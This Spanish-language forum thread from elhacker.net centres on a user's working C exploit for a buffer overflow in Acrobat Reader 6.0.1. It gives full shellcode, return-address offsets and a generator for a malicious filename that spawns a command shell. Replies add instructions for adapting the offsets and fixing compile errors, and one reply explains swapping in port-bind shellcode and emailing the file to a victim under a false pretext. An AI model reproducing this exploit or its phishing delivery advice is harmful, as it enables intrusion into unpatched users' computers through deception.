elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
05 Septiembre 2008, 09:54  



+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderadores: sirdarckcat, berz3k)
| | |-+  Nuevo Exploit by Rojodos - Acrobat Reader 6.0.1 Buffer Overflow
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Nuevo Exploit by Rojodos - Acrobat Reader 6.0.1 Buffer Overflow  (Leído 1905 veces)
Rojodos
"If you wanna be free, you must be different"

Desconectado Desconectado

Mensajes: 3.525



Ver Perfil
Nuevo Exploit by Rojodos - Acrobat Reader 6.0.1 Buffer Overflow
« en: 02 Febrero 2005, 19:56 »

Bueno, como me aburro estudiando ;D he creado otro exploit que no estaba por la red. Supongo que no estaba por lo facil que es implementarlo (a mi me ha costado, pero por la inexperiencia, no porque fuera dificil).

Pues eso :)

Aqui pongo un link al advisory (bastante escueto) donde explica el fallo del Acrobat Reader 6.0.1 y anteriores:

http://www.security.nnov.ru/search/document.asp?docid=6476

Basicamente, el Acrobat Reader 6.0.1 no trata "bien" la extension de los archivos, y una extension sumamente larga, pues provoca un stack overflow. Al principio, baraje que solo se podia a traves de NULLs como dice el advisory, pero eso da igual, simplemente si la extension es larga, el adobe peta.

Bien, antes de nada, 2 limitaciones del exploit:

- En teoria, solo funciona en Win XP SP1 y SP0, y solo lo hemos testeado (antes de publicarlo, los colaboradores de elhacker.net) en el 6.0.1 y el 6.0.0. Cambiarlo para que funcione en Win 2k o en Win XP SP2 es bastante trivial, eso lo dejare para los demas.

Pero, en 2 casos, 2 Windows XP SP1 con el Adobe 6.0.1 no ha funcioando el exploit (en este caso el offset de user32.dll), no permitia ejecutar la instruccion de esa direccion.

Ahora trataremos esos fallos :)

- Solo funciona el exploit (esto si que no se porque es....) si el archivo "malicioso" es abierto desde el acrobat reader y NO con "Abrir con...". No se porque es asi, deberia funcionar, pero... no funciona. Al abrirlo con "Abrir con..." se empiezan a ejecutar cmd.exe y puede acabar el sistema sin memoria. Si alguien sabe porque pasa eso, estare encantado de modificar el exploit completo, aunque estoy seguro que es la shellcode, que no funciona bien xD

En fin, aqui va el exploit, codeado en C. Genera un archivo con una extension maliciosa que al abrirlo con el Acrobat Reader 6.0.1 o 6.0.0 en un Win XP SP1, salta una shell cmd local :)

Código:
#include <stdio.h>
#include <string.h>
#include <windows.h>

int main (int argc, char **argv) {
 
   FILE *pdffile;
   char sc[]= //Creada y modificada para este exploit, nada del otro mundo. Usa offset system hardcodeado.
   "\x8b\xec\x33\xff\x57\xc6\x45\xfc\x63\xc6\x45\xfd\x6d\xc6\x45\xfe\x64\xb8\x44\x80\xbf\x77"
   "\x50\x8d\x5d\xfc\x53\xff\xd0"; // offset system() msvcrt.dll 77bf8044
   char filename_completo[79];
   char buffer_con_nops[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
   "\x90\x90\x90\x90\x90\x90";
         
   printf ("Exploit generador de ficheros pdf, vulnerables a Adobe Reader 6.0.1 Filename Handler Buffer Overflow\n");
   printf ("Descubierto por iDefense\n");
   printf ("Este exploit simplemente crea un archivo que al abrirlo con el Acrobat Reader 6.0.1 salta una shell cmd\n");
   printf ("\n\n");
   printf ("Saludos al foro de elhacker.net --> http://foro.elhacker.net\n");
   printf ("Agradecimientos a Ripe de 7a69, a sha0, a mek, al brujo y a todos los que han testeado el exploit antes de publicarlo\n");
   printf ("Y a ella, Ishtar :)\n");
   printf ("-- Rojodos -- rojodos2[at]yahoo[dot]es --\n");
     
   snprintf(filename_completo, 78,"%s%s%c%c%c%c%s%c", "prueba_pdf_overflow.",buffer_con_nops,0xfb,0xc5,0xd7,0x77,sc,0x00);

   
   printf ("%s", filename_completo);
   
   
   pdffile = fopen (filename_completo,"a+");
   
   
   fclose (pdffile);
   
   
   return 0;
   }


En la shellcode, se ve donde esta el offset de system() (\x44\x80\xbf\x77), asi como en el snprintf se ve el offset del jmp esp (0xfb,0xc5,0xd7,0x77), he usado user32.dll. Ambos offset deben ser cambiados para que funcione en otros Windows.

El offset del jmp esp lo podeis buscar con el findjmp (findjmp user32.dll esp o otra dll que carge el acrobat) y el de msvcrt.dll pues codeando un system("pause") por ejemplo, y con el olly, ver a donde apunta la funcion msvcrt.system.

En el adjunto de este post, en el archivo RAR, estaran estos 3 ficheros:

- Generador en C del archivo malicioso (el codigo de arriba)
- Generador compilado (para los que no tengan compilador C)
- Y archivo "malicioso" que habre un cmd (para los que, raro raro, no les funcione el generador)

Me gustaria pedir que lo probaran (los que tengan el Win XP SP1 y un acrobat reader 6.0.1 o 6.0.0) y me dijeran si salta la shell, diciendo su version de Windows (tiene que ser SP1 español seguramente) y la del acrobat.

A los que tengan el XP Sp1 español y una de las dos versiones del acrobat y que no les salte la shell, les pedire que me hagan esto en una shell cmd y lo posteen:

findjmp user32.dll esp > user32_offset.txt

Me postean, por favor, los 10 primeros resultados (es bastante largo, cerca de 100), no todo el archivo entero. El mio es asi, los 10 primeros resultados:

Citar
Scanning user32.dll for code useable with the esp register
0x77D4A145   jmp esp
0x77D7AAEB   call esp
0x77D7BEFF   call esp
0x77D7C5FB   jmp esp  <---- Este es el offset que uso
0x77D7C60B   jmp esp
0x77D7C617   jmp esp
0x77D82AC8   jmp esp
0x77D83938   jmp esp
0x77D83A68   jmp esp
0x77D8408C   jmp esp

Nos tendria que salir igual. Si no sale igual, por alguna misteriosa razon que desconozco, tenemos la misma version del Windows XP, pero distintas DLLs (cuestion de parches? ya me pierdo). Si sale igual, entonces me corto las venas, porque a mi si me deja "saltar" ahi, pero alguien no...

Si alguien es capaz de decirme porque no se puede petar el acrobat con "Abrir con.." (se abren cientos de shells cmd, no se porque!!!) o explicarme el porque en algunos Win XP SP1 funciona (con el mismo acrobat) y en otros no, le estare eternamente agradecido... Si esos dos fallos los arreglamos, pues creo que no estaria nada mal mandarlo a bugtraq (aunque el fallo es antiguo, de Julio, aunque casi todos los colaboradores teniamos Acrobats vulnerables xDDD  ;D)

Creo que es todo, solo agradecer a Ripe de 7a69, mek, sha0, el brujo y todo el staff de elhacker.net su colaboracion y ayuda en codear el exploit y que funcione correctamente :)

Y seguiremos codeando!  ;D
En línea
Rojodos
"If you wanna be free, you must be different"

Desconectado Desconectado

Mensajes: 3.525



Ver Perfil
Re: Nuevo Exploit by Rojodos - Acrobat Reader 6.0.1 Buffer Overflow
« Respuesta #1 en: 02 Febrero 2005, 21:12 »

Si a alguien no le funciona, lo primero que tiene que ver es si tiene XP SP1 o SP0, y un acrobat vulnerable (6.0.1 para abajo, el 6.0.1 incluido).

Si le sigue sin funcionar (empezamos con el misterio xD), tendria que buscar sus propios offsets (que en exploit son dos).

Bien, lo primero, buscar el offset de system en msvcrt.dll. El mio es 77bf8044 y si os fijais, en la shellcode esta:

char sc[]= //Creada y modificada para este exploit, nada del otro mundo. Usa offset system hardcodeado.
   "\x8b\xec\x33\xff\x57\xc6\x45\xfc\x63\xc6\x45\xfd\x6d\xc6\x45\xfe\x64\xb8\x44\x80\xbf\x77"
   "\x50\x8d\x5d\xfc\x53\xff\xd0"

Como veis, esta "al reves", en formato little endian. Asi la teneis que meter.

Para no tener que trastear con el olly para buscar el offset, solo teneis que usar el programa que ahi aqui:

http://foro.elhacker.net/index.php/topic,56137.0.html

Lo compilais y lo usais, y apuntais el offset, y lo meteis en la shellcode.

Luego, lo del offset de shel32.dll, pues esta explicado mas arriba :) Usando el Findjmp encontrais muchos (un call esp o un jmp esp valen, cualquiera de los dos), pero teneis que saber que si la "conversion" de HEX a caracter ascii genera algun CARACTER NO VALIDO para un fichero, no funcionara.

Yo precisamente escogi ese offset porque su "conversion" generaba caracteres que permitia el Windows en nombres de fichero, en mi caso:

Citar
ûÅ×w

En fin, espero que con esto, y un poco de suerte, os funcione.... :)
En línea
HqH

Desconectado Desconectado

Mensajes: 31


¡Amo YaBB SE!


Ver Perfil
Re: Nuevo Exploit by Rojodos - Acrobat Reader 6.0.1 Buffer Overflow
« Respuesta #2 en: 03 Febrero 2005, 01:04 »

Bueno he provado ya eso  pero no me reconoce el finjmp
y prove con abrir con y si se puede me da =

Pero tengo una duda   
ese exploit se puede ejecutar de forma remota y  perjudicar  ala maquina  no  ? 
y como se  aria   y como arreglar el fallo  ?
cambiando a pk2  o  a acrobat


Saludos  ;D
En línea
Rojodos
"If you wanna be free, you must be different"

Desconectado Desconectado

Mensajes: 3.525



Ver Perfil
Re: Nuevo Exploit by Rojodos - Acrobat Reader 6.0.1 Buffer Overflow
« Respuesta #3 en: 03 Febrero 2005, 01:18 »

Vamos a ver, que no se te entiende muy bien...

- EL findjmp no te funciona? Descargatelo (es otro post con chincheta) y lo usas asi:

findjmp kernel32.dll esp

La libreria kernel32.dll la tienes que tener por cojones xDDD, y te tendria que funcionar, salirte el/los offset que tenga que ver con el registro esp en kernel32

- El exploit te funciona? Te abre una shell de comandos? Es que no lo dejas claro.

- Si, cambiando la shellcode por ejemplo, por una port bind. Puedes mandar el archivo por ejemplo, por mail, diciendo que es un archivo encriptado para que no te lo pillen, y que se abre con el PDF para ver su contenido. Cuando la victima lo abra, se ejecutara la shellcode nueva, y dejara abierto un puerto para que te conectes a el :)

Salu2
En línea
HqH

Desconectado Desconectado

Mensajes: 31


¡Amo YaBB SE!


Ver Perfil
Re: Nuevo Exploit by Rojodos - Acrobat Reader 6.0.1 Buffer Overflow
« Respuesta #4 en: 03 Febrero 2005, 02:18 »

 ;Dje   si el exploit si funciona
 ya  me abrio la shell.
Lo que no funcionaba era el findjmp pero ya me  lo as resulto como hacerlo .
esta muy bueno  tu exploit y se podria ingeniar  varias cosas cuando abres  tu shell de comandos y tambien  es peligroso  ala ves  .
 pero no respondes ami pregunta .
 ¿como solucionas el problema  ?
actulzo  a serv Pack 3
acrobat

Bueno  Saludos
En línea
Rojodos
"If you wanna be free, you must be different"

Desconectado Desconectado

Mensajes: 3.525



Ver Perfil
Re: Nuevo Exploit by Rojodos - Acrobat Reader 6.0.1 Buffer Overflow
« Respuesta #5 en: 03 Febrero 2005, 02:19 »

A partir de la version 6.0.2 del Acrobat reader, este exploit no funciona....

El Service Pack del Windows no tiene nada que ver con el problema.

Salu2
En línea
HqH

Desconectado Desconectado

Mensajes: 31


¡Amo YaBB SE!


Ver Perfil
Re: Nuevo Exploit by Rojodos - Acrobat Reader 6.0.1 Buffer Overflow
« Respuesta #6 en: 03 Febrero 2005, 02:21 »

ok  Gracias  mr  rojodos
Exelente  .  ;D




Saludos
En línea
LOKORIP

Desconectado Desconectado

Mensajes: 60


Ver Perfil
Re: Nuevo Exploit by Rojodos - Acrobat Reader 6.0.1 Buffer Overflow
« Respuesta #7 en: 24 Febrero 2005, 14:54 »

me generan dos errores de compilacion del codigo estos son:

Debug/pdfexploit.exe : fatal error LNK1120: 1 unresolved externals

pdfpagina.obj : error LNK2001: unresolved external symbol _snprintf

ya tengo los offsets modificados no ams falta compilarlo a ver si me funciona ya que el adjunto rar que descargue no funciona no mas me provoca error pero no me salta shel.

GRACIASl


En línea
Rojodos
"If you wanna be free, you must be different"

Desconectado Desconectado

Mensajes: 3.525



Ver Perfil
Re: Nuevo Exploit by Rojodos - Acrobat Reader 6.0.1 Buffer Overflow
« Respuesta #8 en: 25 Febrero 2005, 01:54 »

Una de dos:

- O cambias el compilador por el Dev Cpp (estas usando VC++)

- o Cambias la funcion snprintf() por otra equivalente (o por varias, como memset() o strcat())

Salu2
En línea
LOKORIP

Desconectado Desconectado

Mensajes: 60


Ver Perfil
Re: Nuevo Exploit by Rojodos - Acrobat Reader 6.0.1 Buffer Overflow
« Respuesta #9 en: 25 Febrero 2005, 13:29 »

ROJODOS

ya me baje el devcpp 4 y cuando le doy a compilar no me tira errores pero no me genera el archivo exe me dice size of output file 0 bytes y despues me aparece la siguiente linea

undefined reference to `snprintf'

GRACIAS POR TU PACIENCIA
« Última modificación: 25 Febrero 2005, 13:34 por LOKORIP » En línea
Rojodos
"If you wanna be free, you must be different"

Desconectado Desconectado

Mensajes: 3.525



Ver Perfil
Re: Nuevo Exploit by Rojodos - Acrobat Reader 6.0.1 Buffer Overflow
« Respuesta #10 en: 25 Febrero 2005, 18:03 »

Macho, pues algo tienes que estar haciendo mal, porque me compila perfectamente en Dev Cpp, lo acabo de probar ahora mismo. Mira bien que lo estes copiando BIEN.

Por lo que parece, el VC++ no soporta snprintf, usa sprintf() asi:

Código:
sprintf(filename_completo,"%s%s%c%c%c%c%s%c", "prueba_pdf_overflow.",buffer_con_nops,0xfb,0xc5,0xd7,0x77,sc,0x00);

Lo unico es que sprintf no te permite especificar cuantos bytes copiar, asi que hay que eliminar el '78'.

Por lo demas, acabo de probar esto en el VC++ (6.0) y compila perfectamente, y el exploit funciona, genera un archivo *pdf* que peta el acrobat y sale una shell cmd.

Salu2
En línea
deceiver

Desconectado Desconectado

Mensajes: 7


Ver Perfil
Re: Nuevo Exploit by Rojodos - Acrobat Reader 6.0.1 Buffer Overflow
« Respuesta #11 en: 25 Febrero 2005, 18:27 »

Compila bien con dev... sin ningun error.. se le puede sacar buen provecho a este exploit ya que casi nadie se actualiza el acrobat reader.

Gracias rojodos.
En línea
LOKORIP

Desconectado Desconectado

Mensajes: 60


Ver Perfil
Re: Nuevo Exploit by Rojodos - Acrobat Reader 6.0.1 Buffer Overflow
« Respuesta #12 en: 25 Febrero 2005, 20:59 »

gracias master compilo perfectamente con la ultima version del dev-cpp y lo modifique con mis offsets y salto como dices una hermosa y maravillosa y grandiosa shell


GRACIAS MASTER
En línea
Páginas: [1] Ir Arriba Imprimir 
Ir a:  







Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

hard-h2o modding    Foros de ayuda    Yashira.org    Videojuegos    indetectables.net   

Noticias Informatica    Seguridad Informática    ADSL    Foros en español    eNYe Sec

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.5 | SMF © 2006-2008, Simple Machines LLC